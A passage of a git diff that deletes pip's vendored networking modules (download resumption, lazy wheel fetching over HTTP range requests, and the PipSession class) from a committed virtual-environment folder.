-                f"{logged_url} ({format_size(range_start)}/{format_size(total_length)})"
-            )
-        else:
-            logged_url = f"{logged_url} ({format_size(total_length)})"
-
-    if is_from_cache(resp):
-        logger.info("Using cached %s", logged_url)
-    elif range_start:
-        logger.info("Resuming download %s", logged_url)
-    else:
-        logger.info("Downloading %s", logged_url)
-
-    if logger.getEffectiveLevel() > logging.INFO:
-        show_progress = False
-    elif is_from_cache(resp):
-        show_progress = False
-    elif not total_length:
-        show_progress = True
-    elif total_length > (512 * 1024):
-        show_progress = True
-    else:
-        show_progress = False
-
-    chunks = response_chunks(resp)
-
-    if not show_progress:
-        return chunks
-
-    renderer = get_download_progress_renderer(
-        bar_type=progress_bar, size=total_length, initial_progress=range_start
-    )
-    return renderer(chunks)
-
-
-def sanitize_content_filename(filename: str) -> str:
-    """
-    Sanitize the "filename" value from a Content-Disposition header.
-    """
-    return os.path.basename(filename)
-
-
-def parse_content_disposition(content_disposition: str, default_filename: str) -> str:
-    """
-    Parse the "filename" value from a Content-Disposition header, and
-    return the default filename if the result is empty.
-    """
-    m = email.message.Message()
-    m["content-type"] = content_disposition
-    filename = m.get_param("filename")
-    if filename:
-        # We need to sanitize the filename to prevent directory traversal
-        # in case the filename contains ".." path parts.
-        filename = sanitize_content_filename(str(filename))
-    return filename or default_filename
-
-
-def _get_http_response_filename(resp: Response, link: Link) -> PathComponent:
-    """Get an ideal filename from the given HTTP response, falling back to
-    the link filename if not provided.
-
-    The result is validated as a single path component, so it can be joined onto
-    a download directory without escaping it.
-    """
-    filename: str = link.filename  # fallback
-    # Have a look at the Content-Disposition header for a better guess
-    content_disposition = resp.headers.get("content-disposition")
-    if content_disposition:
-        filename = parse_content_disposition(content_disposition, filename)
-    ext: str | None = splitext(filename)[1]
-    if not ext:
-        ext = mimetypes.guess_extension(resp.headers.get("content-type", ""))
-        if ext:
-            filename += ext
-    if not ext and link.url != resp.url:
-        ext = os.path.splitext(resp.url)[1]
-        if ext:
-            filename += ext
-    return as_path_component(filename)
-
-
-@dataclass
-class _FileDownload:
-    """Stores the state of a single link download."""
-
-    link: Link
-    output_file: BinaryIO
-    size: int | None
-    bytes_received: int = 0
-    reattempts: int = 0
-
-    def is_incomplete(self) -> bool:
-        return bool(self.size is not None and self.bytes_received < self.size)
-
-    def write_chunk(self, data: bytes) -> None:
-        self.bytes_received += len(data)
-        self.output_file.write(data)
-
-    def reset_file(self) -> None:
-        """Delete any saved data and reset progress to zero."""
-        self.output_file.seek(0)
-        self.output_file.truncate()
-        self.bytes_received = 0
-
-
-class Downloader:
-    def __init__(
-        self,
-        session: PipSession,
-        progress_bar: BarType,
-    ) -> None:
-        self._session = session
-        self._progress_bar = progress_bar
-        self._resume_retries = session.resume_retries
-        assert (
-            self._resume_retries >= 0
-        ), "Number of max resume retries must be bigger or equal to zero"
-
-    def batch(
-        self, links: Iterable[Link], location: str
-    ) -> Iterable[tuple[Link, tuple[str, str]]]:
-        """Convenience method to download multiple links."""
-        for link in links:
-            filepath, content_type = self(link, location)
-            yield link, (filepath, content_type)
-
-    def __call__(self, link: Link, location: str) -> tuple[str, str]:
-        """Download a link and save it under location."""
-        resp = self._http_get(link)
-        download_size = _get_http_response_size(resp)
-
-        filepath = join_within_directory(
-            location, _get_http_response_filename(resp, link)
-        )
-        with open(filepath, "wb") as content_file:
-            download = _FileDownload(link, content_file, download_size)
-            self._process_response(download, resp)
-            if download.is_incomplete():
-                self._attempt_resumes_or_redownloads(download, resp)
-
-        content_type = resp.headers.get("Content-Type", "")
-        return filepath, content_type
-
-    def _process_response(self, download: _FileDownload, resp: Response) -> None:
-        """Download and save chunks from a response."""
-        chunks = _log_download(
-            resp,
-            download.link,
-            self._progress_bar,
-            download.size,
-            range_start=download.bytes_received,
-        )
-        try:
-            for chunk in chunks:
-                download.write_chunk(chunk)
-        except (ReadTimeoutError, ProtocolError) as e:
-            # If the download size is not known, then give up downloading the file.
-            if download.size is None:
-                raise e
-
-            logger.warning("Connection interrupted while downloading.")
-
-    def _attempt_resumes_or_redownloads(
-        self, download: _FileDownload, first_resp: Response
-    ) -> None:
-        """Attempt to resume/restart the download if connection was dropped."""
-
-        while download.reattempts < self._resume_retries and download.is_incomplete():
-            assert download.size is not None
-            download.reattempts += 1
-            logger.warning(
-                "Attempting to resume incomplete download (%s/%s, attempt %d)",
-                format_size(download.bytes_received),
-                format_size(download.size),
-                download.reattempts,
-            )
-
-            try:
-                resume_resp = self._http_get_resume(download, should_match=first_resp)
-                # Fallback: if the server responded with 200 (i.e., the file has
-                # since been modified or range requests are unsupported) or any
-                # other unexpected status, restart the download from the beginning.
-                must_restart = resume_resp.status_code != HTTPStatus.PARTIAL_CONTENT
-                if must_restart:
-                    download.reset_file()
-                    download.size = _get_http_response_size(resume_resp)
-                    first_resp = resume_resp
-                else:
-                    # If the resume request starts at the wrong location, fail
-                    # outright since the server is misbehaving.
-                    content_range = resume_resp.headers.get("Content-Range", "")
-                    resumed_at = content_range.lower().partition("bytes ")[2]
-                    resumed_at = resumed_at.partition("-")[0]
-                    if resumed_at and resumed_at != str(download.bytes_received):
-                        raise IncompleteDownloadError(download)
-
-                self._process_response(download, resume_resp)
-            except (
-                ConnectionFailedError,
-                ConnectionTimeoutError,
-                ProxyConnectionError,
-                SSLVerificationError,
-                ReadTimeoutError,
-                ProtocolError,
-                OSError,
-            ):
-                # The error handling here is tricky, a few notes:
-                #
-                # - The diagnostic connection errors are raised by our custom
-                #   requests.request() connection exception handler.
-                # - ProtocolError is raised by urllib3 when the returned data length
-                #   doesn't match the response Content-Length.
-                # - ReadTimeoutError / ProtocolError come straight from urllib3 (via
-                #   process_response) and aren't caught by our connection exception
-                #   handler since they occur while *streaming* a response.
-                continue
-
-        # No more resume attempts. Raise an error if the download is still incomplete.
-        if download.is_incomplete():
-            os.remove(download.output_file.name)
-            raise IncompleteDownloadError(download)
-
-        # If we successfully completed the download via resume, manually cache it
-        # as a complete response to enable future caching
-        if download.reattempts > 0:
-            self._cache_resumed_download(download, first_resp)
-
-    def _cache_resumed_download(
-        self, download: _FileDownload, original_response: Response
-    ) -> None:
-        """
-        Manually cache a file that was successfully downloaded via resume retries.
-
-        cachecontrol doesn't cache 206 (Partial Content) responses, since they
-        are not complete files. This method manually adds the final file to the
-        cache as though it was downloaded in a single request, so that future
-        requests can use the cache.
-        """
-        url = download.link.url_without_fragment
-        adapter = self._session.get_adapter(url)
-
-        # Check if the adapter is the CacheControlAdapter (i.e. caching is enabled)
-        if not isinstance(adapter, CacheControlAdapter):
-            logger.debug(
-                "Skipping resume download caching: no cache controller for %s", url
-            )
-            return
-
-        # Check SafeFileCache is being used
-        assert isinstance(
-            adapter.cache, SafeFileCache
-        ), "separate body cache not in use!"
-
-        synthetic_request = PreparedRequest()
-        synthetic_request.prepare(method="GET", url=url, headers={})
-
-        synthetic_response_headers = HTTPHeaderDict()
-        for key, value in original_response.headers.items():
-            if key.lower() not in ["content-range", "content-length"]:
-                synthetic_response_headers[key] = value
-        synthetic_response_headers["content-length"] = str(download.size)
-
-        synthetic_response = URLlib3Response(
-            body="",
-            headers=synthetic_response_headers,
-            status=200,
-            preload_content=False,
-        )
-
-        # Save metadata and then stream the file contents to cache.
-        cache_url = adapter.controller.cache_url(url)
-        metadata_blob = adapter.controller.serializer.dumps(
-            synthetic_request, synthetic_response, b""
-        )
-        adapter.cache.set(cache_url, metadata_blob)
-        download.output_file.flush()
-        with open(download.output_file.name, "rb") as f:
-            adapter.cache.set_body_from_io(cache_url, f)
-
-        logger.debug(
-            "Cached resumed download as complete response for future use: %s", url
-        )
-
-    def _http_get_resume(
-        self, download: _FileDownload, should_match: Response
-    ) -> Response:
-        """Issue a HTTP range request to resume the download."""
-        # To better understand the download resumption logic, see the mdn web docs:
-        # https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Range_requests
-        headers = HEADERS.copy()
-        headers["Range"] = f"bytes={download.bytes_received}-"
-        # If possible, use a conditional range request to avoid corrupted
-        # downloads caused by the remote file changing in-between.
-        if identifier := _get_http_response_etag_or_last_modified(should_match):
-            headers["If-Range"] = identifier
-        return self._http_get(download.link, headers)
-
-    def _http_get(self, link: Link, headers: Mapping[str, str] = HEADERS) -> Response:
-        target_url = link.url_without_fragment
-        try:
-            resp = self._session.get(target_url, headers=headers, stream=True)
-            raise_for_status(resp)
-        except NetworkConnectionError as e:
-            assert e.response is not None
-            logger.critical(
-                "HTTP error %s while getting %s", e.response.status_code, link
-            )
-            raise
-        return resp
diff --git a/venv/Lib/site-packages/pip/_internal/network/lazy_wheel.py b/venv/Lib/site-packages/pip/_internal/network/lazy_wheel.py
deleted file mode 100644
index 00398337ec62a5778f90b0d17069c935e9823849..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/network/lazy_wheel.py
+++ /dev/null
@@ -1,215 +0,0 @@
-"""Lazy ZIP over HTTP"""
-
-from __future__ import annotations
-
-__all__ = ["HTTPRangeRequestUnsupported", "dist_from_wheel_url"]
-
-from bisect import bisect_left, bisect_right
-from collections.abc import Generator
-from contextlib import contextmanager
-from tempfile import NamedTemporaryFile
-from typing import Any
-from zipfile import BadZipFile, ZipFile
-
-from pip._vendor.packaging.utils import NormalizedName
-from pip._vendor.requests.models import CONTENT_CHUNK_SIZE, Response
-
-from pip._internal.metadata import BaseDistribution, MemoryWheel, get_wheel_distribution
-from pip._internal.network.session import PipSession
-from pip._internal.network.utils import HEADERS, raise_for_status, response_chunks
-
-
-class HTTPRangeRequestUnsupported(Exception):
-    pass
-
-
-def dist_from_wheel_url(
-    name: NormalizedName, url: str, session: PipSession
-) -> BaseDistribution:
-    """Return a distribution object from the given wheel URL.
-
-    This uses HTTP range requests to only fetch the portion of the wheel
-    containing metadata, just enough for the object to be constructed.
-    If such requests are not supported, HTTPRangeRequestUnsupported
-    is raised.
-    """
-    with LazyZipOverHTTP(url, session) as zf:
-        # For read-only ZIP files, ZipFile only needs methods read,
-        # seek, seekable and tell, not the whole IO protocol.
-        wheel = MemoryWheel(zf.name, zf)  # type: ignore
-        # After context manager exit, wheel.name
-        # is an invalid file by intention.
-        return get_wheel_distribution(wheel, name)
-
-
-class LazyZipOverHTTP:
-    """File-like object mapped to a ZIP file over HTTP.
-
-    This uses HTTP range requests to lazily fetch the file's content,
-    which is supposed to be fed to ZipFile.  If such requests are not
-    supported by the server, raise HTTPRangeRequestUnsupported
-    during initialization.
-    """
-
-    def __init__(
-        self, url: str, session: PipSession, chunk_size: int = CONTENT_CHUNK_SIZE
-    ) -> None:
-        head = session.head(url, headers=HEADERS)
-        raise_for_status(head)
-        assert head.status_code == 200
-        self._session, self._url, self._chunk_size = session, url, chunk_size
-        self._length = int(head.headers["Content-Length"])
-        self._file = NamedTemporaryFile()
-        self.truncate(self._length)
-        self._left: list[int] = []
-        self._right: list[int] = []
-        if "bytes" not in head.headers.get("Accept-Ranges", "none"):
-            raise HTTPRangeRequestUnsupported("range request is not supported")
-        self._check_zip()
-
-    @property
-    def mode(self) -> str:
-        """Opening mode, which is always rb."""
-        return "rb"
-
-    @property
-    def name(self) -> str:
-        """Path to the underlying file."""
-        return self._file.name
-
-    def seekable(self) -> bool:
-        """Return whether random access is supported, which is True."""
-        return True
-
-    def close(self) -> None:
-        """Close the file."""
-        self._file.close()
-
-    @property
-    def closed(self) -> bool:
-        """Whether the file is closed."""
-        return self._file.closed
-
-    def read(self, size: int = -1) -> bytes:
-        """Read up to size bytes from the object and return them.
-
-        As a convenience, if size is unspecified or -1,
-        all bytes until EOF are returned.  Fewer than
-        size bytes may be returned if EOF is reached.
-        """
-        download_size = max(size, self._chunk_size)
-        start, length = self.tell(), self._length
-        stop = length if size < 0 else min(start + download_size, length)
-        start = max(0, stop - download_size)
-        self._download(start, stop - 1)
-        return self._file.read(size)
-
-    def readable(self) -> bool:
-        """Return whether the file is readable, which is True."""
-        return True
-
-    def seek(self, offset: int, whence: int = 0) -> int:
-        """Change stream position and return the new absolute position.
-
-        Seek to offset relative position indicated by whence:
-        * 0: Start of stream (the default).  pos should be >= 0;
-        * 1: Current position - pos may be negative;
-        * 2: End of stream - pos usually negative.
-        """
-        return self._file.seek(offset, whence)
-
-    def tell(self) -> int:
-        """Return the current position."""
-        return self._file.tell()
-
-    def truncate(self, size: int | None = None) -> int:
-        """Resize the stream to the given size in bytes.
-
-        If size is unspecified resize to the current position.
-        The current stream position isn't changed.
-
-        Return the new file size.
-        """
-        return self._file.truncate(size)
-
-    def writable(self) -> bool:
-        """Return False."""
-        return False
-
-    def __enter__(self) -> LazyZipOverHTTP:
-        self._file.__enter__()
-        return self
-
-    def __exit__(self, *exc: Any) -> None:
-        self._file.__exit__(*exc)
-
-    @contextmanager
-    def _stay(self) -> Generator[None, None, None]:
-        """Return a context manager keeping the position.
-
-        At the end of the block, seek back to original position.
-        """
-        pos = self.tell()
-        try:
-            yield
-        finally:
-            self.seek(pos)
-
-    def _check_zip(self) -> None:
-        """Check and download until the file is a valid ZIP."""
-        end = self._length - 1
-        for start in reversed(range(0, end, self._chunk_size)):
-            self._download(start, end)
-            with self._stay():
-                try:
-                    # For read-only ZIP files, ZipFile only needs
-                    # methods read, seek, seekable and tell.
-                    ZipFile(self)
-                except BadZipFile:
-                    pass
-                else:
-                    break
-
-    def _stream_response(
-        self, start: int, end: int, base_headers: dict[str, str] = HEADERS
-    ) -> Response:
-        """Return HTTP response to a range request from start to end."""
-        headers = base_headers.copy()
-        headers["Range"] = f"bytes={start}-{end}"
-        # TODO: Get range requests to be correctly cached
-        headers["Cache-Control"] = "no-cache"
-        return self._session.get(self._url, headers=headers, stream=True)
-
-    def _merge(
-        self, start: int, end: int, left: int, right: int
-    ) -> Generator[tuple[int, int], None, None]:
-        """Return a generator of intervals to be fetched.
-
-        Args:
-            start (int): Start of needed interval
-            end (int): End of needed interval
-            left (int): Index of first overlapping downloaded data
-            right (int): Index after last overlapping downloaded data
-        """
-        lslice, rslice = self._left[left:right], self._right[left:right]
-        i = start = min([start] + lslice[:1])
-        end = max([end] + rslice[-1:])
-        for j, k in zip(lslice, rslice):
-            if j > i:
-                yield i, j - 1
-            i = k + 1
-        if i <= end:
-            yield i, end
-        self._left[left:right], self._right[left:right] = [start], [end]
-
-    def _download(self, start: int, end: int) -> None:
-        """Download bytes from start to end inclusively."""
-        with self._stay():
-            left = bisect_left(self._right, start)
-            right = bisect_right(self._left, end)
-            for start, end in self._merge(start, end, left, right):
-                response = self._stream_response(start, end)
-                response.raise_for_status()
-                self.seek(start)
-                for chunk in response_chunks(response, self._chunk_size):
-                    self._file.write(chunk)
diff --git a/venv/Lib/site-packages/pip/_internal/network/session.py b/venv/Lib/site-packages/pip/_internal/network/session.py
deleted file mode 100644
index 5ddbb2ae342a43c6bc6afe7a58efbd7e0e0fe4ec..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/network/session.py
+++ /dev/null
@@ -1,532 +0,0 @@
-"""PipSession and supporting code, containing all pip-specific
-network request configuration and behavior.
-"""
-
-from __future__ import annotations
-
-import email.utils
-import functools
-import io
-import ipaddress
-import json
-import logging
-import mimetypes
-import os
-import platform
-import shutil
-import subprocess
-import sys
-import urllib.parse
-import warnings
-from collections.abc import Generator, Mapping, Sequence
-from typing import (
-    TYPE_CHECKING,
-    Any,
-)
-
-from pip._vendor import requests, urllib3
-from pip._vendor.cachecontrol import CacheControlAdapter as _BaseCacheControlAdapter
-from pip._vendor.requests.adapters import DEFAULT_POOLBLOCK, BaseAdapter
-from pip._vendor.requests.adapters import HTTPAdapter as _BaseHTTPAdapter
-from pip._vendor.requests.models import PreparedRequest, Response
-from pip._vendor.requests.structures import CaseInsensitiveDict
-from pip._vendor.urllib3.connectionpool import ConnectionPool
-from pip._vendor.urllib3.exceptions import InsecureRequestWarning
-
-from pip import __version__
-from pip._internal.exceptions import SSLMissingError
-from pip._internal.metadata import get_default_environment
-from pip._internal.models.link import Link
-from pip._internal.network.auth import MultiDomainBasicAuth
-from pip._internal.network.cache import SafeFileCache
-from pip._internal.network.utils import raise_connection_error
-
-# Import ssl from compat so the initial import occurs in only one place.
-from pip._internal.utils.compat import has_tls
-from pip._internal.utils.glibc import libc_ver
-from pip._internal.utils.misc import (
-    build_url_from_netloc,
-    looks_like_ci,
-    parse_netloc,
-    redact_auth_from_url,
-)
-from pip._internal.utils.urls import url_to_path
-
-if TYPE_CHECKING:
-    from ssl import SSLContext
-
-    from pip._vendor.urllib3 import ProxyManager
-
-
-logger = logging.getLogger(__name__)
-
-SecureOrigin = tuple[str, str, int | str | None]
-
-
-# Ignore warning raised when using --trusted-host.
-warnings.filterwarnings("ignore", category=InsecureRequestWarning)
-
-
-SECURE_ORIGINS: list[SecureOrigin] = [
-    # protocol, hostname, port
-    # Taken from Chrome's list of secure origins (See: http://bit.ly/1qrySKC)
-    ("https", "*", "*"),
-    ("*", "localhost", "*"),
-    ("*", "127.0.0.0/8", "*"),
-    ("*", "::1/128", "*"),
-    ("file", "*", None),
-    # ssh is always secure.
-    ("ssh", "*", "*"),
-]
-
-
-@functools.lru_cache(maxsize=1)
-def user_agent() -> str:
-    """
-    Return a string representing the user agent.
-    """
-    data: dict[str, Any] = {
-        "installer": {"name": "pip", "version": __version__},
-        "python": platform.python_version(),
-        "implementation": {
-            "name": platform.python_implementation(),
-        },
-    }
-
-    if data["implementation"]["name"] == "CPython":
-        data["implementation"]["version"] = platform.python_version()
-    elif data["implementation"]["name"] == "PyPy":
-        pypy_version_info = sys.pypy_version_info  # type: ignore
-        if pypy_version_info.releaselevel == "final":
-            pypy_version_info = pypy_version_info[:3]
-        data["implementation"]["version"] = ".".join(
-            [str(x) for x in pypy_version_info]
-        )
-    elif data["implementation"]["name"] == "Jython":
-        # Complete Guess
-        data["implementation"]["version"] = platform.python_version()
-    elif data["implementation"]["name"] == "IronPython":
-        # Complete Guess
-        data["implementation"]["version"] = platform.python_version()
-
-    if sys.platform.startswith("linux"):
-        from pip._vendor import distro
-
-        linux_distribution = distro.name(), distro.version(), distro.codename()
-        distro_infos: dict[str, Any] = dict(
-            filter(
-                lambda x: x[1],
-                zip(["name", "version", "id"], linux_distribution),
-            )
-        )
-        libc = dict(
-            filter(
-                lambda x: x[1],
-                zip(["lib", "version"], libc_ver()),
-            )
-        )
-        if libc:
-            distro_infos["libc"] = libc
-        if distro_infos:
-            data["distro"] = distro_infos
-
-    if sys.platform.startswith("darwin") and platform.mac_ver()[0]:
-        data["distro"] = {"name": "macOS", "version": platform.mac_ver()[0]}
-
-    if platform.system():
-        data.setdefault("system", {})["name"] = platform.system()
-
-    if platform.release():
-        data.setdefault("system", {})["release"] = platform.release()
-
-    if platform.machine():
-        data["cpu"] = platform.machine()
-
-    if has_tls():
-        import _ssl as ssl
-
-        data["openssl_version"] = ssl.OPENSSL_VERSION
-
-    setuptools_dist = get_default_environment().get_distribution("setuptools")
-    if setuptools_dist is not None:
-        data["setuptools_version"] = str(setuptools_dist.version)
-
-    if shutil.which("rustc") is not None:
-        # If for any reason `rustc --version` fails, silently ignore it
-        try:
-            rustc_output = subprocess.check_output(
-                ["rustc", "--version"], stderr=subprocess.STDOUT, timeout=0.5
-            )
-        except Exception:
-            pass
-        else:
-            if rustc_output.startswith(b"rustc "):
-                # The format of `rustc --version` is:
-                # `b'rustc 1.52.1 (9bc8c42bb 2021-05-09)\n'`
-                # We extract just the middle (1.52.1) part
-                data["rustc_version"] = rustc_output.split(b" ")[1].decode()
-
-    # Use None rather than False so as not to give the impression that
-    # pip knows it is not being run under CI.  Rather, it is a null or
-    # inconclusive result.  Also, we include some value rather than no
-    # value to make it easier to know that the check has been run.
-    data["ci"] = True if looks_like_ci() else None
-
-    user_data = os.environ.get("PIP_USER_AGENT_USER_DATA")
-    if user_data is not None:
-        data["user_data"] = user_data
-
-    return "{data[installer][name]}/{data[installer][version]} {json}".format(
-        data=data,
-        json=json.dumps(data, separators=(",", ":"), sort_keys=True),
-    )
-
-
-class LocalFSAdapter(BaseAdapter):
-    def send(
-        self,
-        request: PreparedRequest,
-        stream: bool = False,
-        timeout: float | tuple[float | None, float | None] | None = None,
-        verify: bool | str = True,
-        cert: bytes | str | tuple[bytes | str, bytes | str] | None = None,
-        proxies: Mapping[str, str] | None = None,
-    ) -> Response:
-        assert request.url is not None
-        pathname = url_to_path(request.url)
-
-        resp = Response()
-        resp.status_code = 200
-        resp.url = request.url
-
-        try:
-            stats = os.stat(pathname)
-        except OSError as exc:
-            # format the exception raised as a io.BytesIO object,
-            # to return a better error message:
-            resp.status_code = 404
-            resp.reason = type(exc).__name__
-            resp.raw = io.BytesIO(f"{resp.reason}: {exc}".encode())
-        else:
-            modified = email.utils.formatdate(stats.st_mtime, usegmt=True)
-            content_type = mimetypes.guess_type(pathname)[0] or "text/plain"
-            resp.headers = CaseInsensitiveDict(
-                {
-                    "Content-Type": content_type,
-                    "Content-Length": str(stats.st_size),
-                    "Last-Modified": modified,
-                }
-            )
-
-            resp.raw = open(pathname, "rb")
-            resp.close = resp.raw.close  # type: ignore[method-assign]
-
-        return resp
-
-    def close(self) -> None:
-        pass
-
-
-class _SSLContextAdapterMixin:
-    """Mixin to add the ``ssl_context`` constructor argument to HTTP adapters.
-
-    The additional argument is forwarded directly to the pool manager. This allows us
-    to dynamically decide what SSL store to use at runtime, which is used to implement
-    the optional ``truststore`` backend.
-    """
-
-    def __init__(
-        self,
-        *,
-        ssl_context: SSLContext | None = None,
-        **kwargs: Any,
-    ) -> None:
-        self._ssl_context = ssl_context
-        super().__init__(**kwargs)
-
-    def init_poolmanager(
-        self,
-        connections: int,
-        maxsize: int,
-        block: bool = DEFAULT_POOLBLOCK,
-        **pool_kwargs: Any,
-    ) -> None:
-        if self._ssl_context is not None:
-            pool_kwargs.setdefault("ssl_context", self._ssl_context)
-        super().init_poolmanager(  # type: ignore[misc]
-            connections=connections,
-            maxsize=maxsize,
-            block=block,
-            **pool_kwargs,
-        )
-
-    def proxy_manager_for(self, proxy: str, **proxy_kwargs: Any) -> ProxyManager:
-        # Proxy manager replaces the pool manager, so inject our SSL
-        # context here too. https://github.com/pypa/pip/issues/13288
-        if self._ssl_context is not None:
-            proxy_kwargs.setdefault("ssl_context", self._ssl_context)
-            # For HTTPS proxies, urllib3 also opens a separate TLS connection
-            # to the proxy itself (before tunnelling to the destination) and
-            # uses "proxy_ssl_context" for that handshake.
-            # https://github.com/pypa/pip/issues/13465
-            proxy_kwargs.setdefault("proxy_ssl_context", self._ssl_context)
-        return super().proxy_manager_for(proxy, **proxy_kwargs)  # type: ignore[misc]
-
-
-class HTTPAdapter(_SSLContextAdapterMixin, _BaseHTTPAdapter):
-    pass
-
-
-class CacheControlAdapter(_SSLContextAdapterMixin, _BaseCacheControlAdapter):
-    pass
-
-
-class InsecureHTTPAdapter(HTTPAdapter):
-    def cert_verify(
-        self,
-        conn: ConnectionPool,
-        url: str,
-        verify: bool | str,
-        cert: str | tuple[str, str] | None,
-    ) -> None:
-        super().cert_verify(conn=conn, url=url, verify=False, cert=cert)
-
-
-class InsecureCacheControlAdapter(CacheControlAdapter):
-    def cert_verify(
-        self,
-        conn: ConnectionPool,
-        url: str,
-        verify: bool | str,
-        cert: str | tuple[str, str] | None,
-    ) -> None:
-        super().cert_verify(conn=conn, url=url, verify=False, cert=cert)
-
-
-class PipSession(requests.Session):
-    timeout: int | None = None
-
-    def __init__(
-        self,
-        *args: Any,
-        retries: int = 0,
-        resume_retries: int = 0,
-        cache: str | None = None,
-        trusted_hosts: Sequence[str] = (),
-        index_urls: list[str] | None = None,
-        ssl_context: SSLContext | None = None,
-        refresh_package: set[str] | None = None,
-        **kwargs: Any,
-    ) -> None:
-        """
-        :param trusted_hosts: Domains not to emit warnings for when not using
-            HTTPS.
-        """
-        super().__init__(*args, **kwargs)
-
-        # Namespace the attribute with "pip_" just in case to prevent
-        # possible conflicts with the base class.
-        self.pip_trusted_origins: list[tuple[str, int | None]] = []
-        # "" disables proxying; None means no --proxy was given.
-        self.pip_proxy: str | None = None
-        self.pip_no_proxy_env = False
-        self.refresh_package: set[str] = refresh_package or set()
-
-        # Attach our User Agent to the request
-        self.headers["User-Agent"] = user_agent()
-
-        # Pin Accept-Encoding so it doesn't vary with zstd availability (Python
-        # 3.14+ or backports.zstd); a varying value misses the cache for "Vary:
-        # Accept-Encoding" responses shared across interpreters (pypa/pip#13979).
-        self.headers["Accept-Encoding"] = "gzip, deflate"
-
-        # Attach our Authentication handler to the session
-        self.auth: MultiDomainBasicAuth = MultiDomainBasicAuth(index_urls=index_urls)
-
-        # Create our urllib3.Retry instance which will allow us to customize
-        # how we handle retries.
-        retries = urllib3.Retry(
-            # Set the total number of retries that a particular request can
-            # have.
-            total=retries,
-            # A 503 error from PyPI typically means that the Fastly -> Origin
-            # connection got interrupted in some way. A 503 error in general
-            # is typically considered a transient error so we'll go ahead and
-            # retry it.
-            # A 500 may indicate transient error in Amazon S3
-            # A 502 may be a transient error from a CDN like CloudFlare or CloudFront
-            # A 520 or 527 - may indicate transient error in CloudFlare
-            status_forcelist=[500, 502, 503, 520, 527],
-            # Add a small amount of back off between failed requests in
-            # order to prevent hammering the service.
-            backoff_factor=0.25,
-        )  # type: ignore
-        self.resume_retries = resume_retries
-
-        # Our Insecure HTTPAdapter disables HTTPS validation. It does not
-        # support caching so we'll use it for all http:// URLs.
-        # If caching is disabled, we will also use it for
-        # https:// hosts that we've marked as ignoring
-        # TLS errors for (trusted-hosts).
-        insecure_adapter = InsecureHTTPAdapter(max_retries=retries)
-
-        # We want to _only_ cache responses on securely fetched origins or when
-        # the host is specified as trusted. We do this because
-        # we can't validate the response of an insecurely/untrusted fetched
-        # origin, and we don't want someone to be able to poison the cache and
-        # require manual eviction from the cache to fix it.
-        self._trusted_host_adapter: InsecureCacheControlAdapter | InsecureHTTPAdapter
-        if cache:
-            secure_adapter: _BaseHTTPAdapter = CacheControlAdapter(
-                cache=SafeFileCache(cache),
-                max_retries=retries,
-                ssl_context=ssl_context,
-            )
-            self._trusted_host_adapter = InsecureCacheControlAdapter(
-                cache=SafeFileCache(cache),
-                max_retries=retries,
-            )
-        else:
-            secure_adapter = HTTPAdapter(max_retries=retries, ssl_context=ssl_context)
-            self._trusted_host_adapter = insecure_adapter
-
-        self.mount("https://", secure_adapter)
-        self.mount("http://", insecure_adapter)
-
-        # Enable file:// urls
-        self.mount("file://", LocalFSAdapter())
-
-        for host in trusted_hosts:
-            self.add_trusted_host(host, suppress_logging=True)
-
-    def update_index_urls(self, new_index_urls: list[str]) -> None:
-        """
-        :param new_index_urls: New index urls to update the authentication
-            handler with.
-        """
-        self.auth.index_urls = new_index_urls
-
-    def add_trusted_host(
-        self, host: str, source: str | None = None, suppress_logging: bool = False
-    ) -> None:
-        """
-        :param host: It is okay to provide a host that has previously been
-            added.
-        :param source: An optional source string, for logging where the host
-            string came from.
-        """
-        if not suppress_logging:
-            msg = f"adding trusted host: {host!r}"
-            if source is not None:
-                msg += f" (from {source})"
-            logger.info(msg)
-
-        parsed_host, parsed_port = parse_netloc(host)
-        if parsed_host is None:
-            raise ValueError(f"Trusted host URL must include a host part: {host!r}")
-        if (parsed_host, parsed_port) not in self.pip_trusted_origins:
-            self.pip_trusted_origins.append((parsed_host, parsed_port))
-
-        self.mount(
-            build_url_from_netloc(host, scheme="http") + "/", self._trusted_host_adapter
-        )
-        self.mount(build_url_from_netloc(host) + "/", self._trusted_host_adapter)
-        if not parsed_port:
-            self.mount(
-                build_url_from_netloc(host, scheme="http") + ":",
-                self._trusted_host_adapter,
-            )
-            # Mount wildcard ports for the same host.
-            self.mount(build_url_from_netloc(host) + ":", self._trusted_host_adapter)
-
-    def iter_secure_origins(self) -> Generator[SecureOrigin, None, None]:
-        yield from SECURE_ORIGINS
-        for host, port in self.pip_trusted_origins:
-            yield ("*", host, "*" if port is None else port)
-
-    def is_secure_origin(self, location: Link) -> bool:
-        # Determine if this url used a secure transport mechanism
-        parsed = urllib.parse.urlparse(str(location))
-        origin_protocol, origin_host, origin_port = (
-            parsed.scheme,
-            parsed.hostname,
-            parsed.port,
-        )
-
-        # The protocol to use to see if the protocol matches.
-        # Don't count the repository type as part of the protocol: in
-        # cases such as "git+ssh", only use "ssh". (I.e., Only verify against
-        # the last scheme.)
-        origin_protocol = origin_protocol.rsplit("+", 1)[-1]
-
-        # Determine if our origin is a secure origin by looking through our
-        # hardcoded list of secure origins, as well as any additional ones
-        # configured on this PackageFinder instance.
-        for secure_origin in self.iter_secure_origins():
-            secure_protocol, secure_host, secure_port = secure_origin
-            if origin_protocol != secure_protocol and secure_protocol != "*":
-                continue
-
-            try:
-                addr = ipaddress.ip_address(origin_host or "")
-                network = ipaddress.ip_network(secure_host)
-            except ValueError:
-                # We don't have both a valid address or a valid network, so
-                # we'll check this origin against hostnames.
-                if (
-                    origin_host
-                    and origin_host.lower() != secure_host.lower()
-                    and secure_host != "*"
-                ):
-                    continue
-            else:
-                # We have a valid address and network, so see if the address
-                # is contained within the network.
-                if addr not in network:
-                    continue
-
-            # Check to see if the port matches.
-            if (
-                origin_port != secure_port
-                and secure_port != "*"
-                and secure_port is not None
-            ):
-                continue
-
-            # If we've gotten here, then this origin matches the current
-            # secure origin and we should return True
-            return True
-
-        # If we've gotten to this point, then the origin isn't secure and we
-        # will not accept it as a valid location to search. We will however
-        # log a warning that we are ignoring it.
-        logger.warning(
-            "The repository located at %s is not a trusted or secure host and "
-            "is being ignored. If this repository is available via HTTPS we "
-            "recommend you use HTTPS instead, otherwise you may silence "
-            "this warning and allow it anyway with '--trusted-host %s'.",
-            origin_host,
-            origin_host,
-        )
-
-        return False
-
-    def request(self, method: str, url: str, *args: Any, **kwargs: Any) -> Response:  # type: ignore[override]
